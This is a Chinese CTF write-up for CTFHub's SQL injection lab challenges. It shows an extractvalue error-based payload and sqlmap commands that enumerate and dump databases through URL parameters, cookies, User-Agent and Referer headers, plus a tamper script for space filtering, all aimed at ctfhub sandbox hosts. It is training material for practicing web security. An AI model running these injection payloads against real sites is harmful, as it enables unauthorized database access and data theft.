整数型注入
看到源码了,直接sql一套秒了
字符型注入
SQL 报错注入
构造payload
1 and (select extractvalue(1,concat(’~’,(select database()))))
后续步骤跟sql基本步骤一样
SQL 布尔注入
人工测试太麻烦,这里直接使用sqlmap,知道这有sql注入漏洞,就省去扫描步骤了。
先查看当前数据库 --sqli
sqlmap -u 'http://challenge-3fe138f1ff2d9eae.sandbox.ctfhub.com:10800/?id=2' -batch --current-db
再查看表
sqlmap -u 'http://challenge-3fe138f1ff2d9eae.sandbox.ctfhub.com:10800/?id=2' -batch -D 'sqli' --tables
查看flag表中的字段
sqlmap -u 'http://challenge-3fe138f1ff2d9eae.sandbox.ctfhub.com:10800/?id=2' -batch -D 'sqli' -T 'flag' --columns
查看flag字段下的内容,找到flag
sqlmap -u 'http://challenge-3fe138f1ff2d9eae.sandbox.ctfhub.com:10800/?id=2' -batch -D 'sqli' -T 'flag' -C 'flag' --dump
时间盲注
sqlmap步骤同上面一样
MySQL结构
步骤一样,只是换了个位置
Cookie注入
就是在cookie处进行sql注入,一般cookie处会有暗示
将抓包信息保存在txt文件中,然后在cookie处的id=1处加个*号,即改成
id=1*
指定cookie查询
sqlmap -r temp.txt -batch
发现存在cookie注入,然后就是与上述步骤相似
sqlmap -r temp.txt -batch --dbs
...
UA注入
refer注入的特征就是抓包后发现缺少refer头部,然后在refer处进行sql漏洞注入。
注意:直接扫描漏洞需要level 3及以上才会查询文件头(UA,refer等)
sqlmap -u 'http://xxx.com' -level 3
这道题:
sqlmap -u 'http://challenge-3cf6a5a75d4ca322.sandbox.ctfhub.com:10800/' -level 3 -batch
发现ua注入,剩下的步骤同上
...
sqlmap -u 'http://challenge-3cf6a5a75d4ca322.sandbox.ctfhub.com:10800/' -level 3 -batch -D 'sqli' -T 'vjzangmqpt' --dump
Refer注入
步骤同上
强调:如果直接检查时间太长,可以抓包放进txt文件,在对应的地方注入然后打个标记,然后用文件扫描。
过滤空格
使用tamper模块space2comment.py,步骤一样
sqlmap -u 'http://challenge-922c2f9d7e288e20.sandbox.ctfhub.com:10800?id=1' --tamper space2comment.py -batch --dbs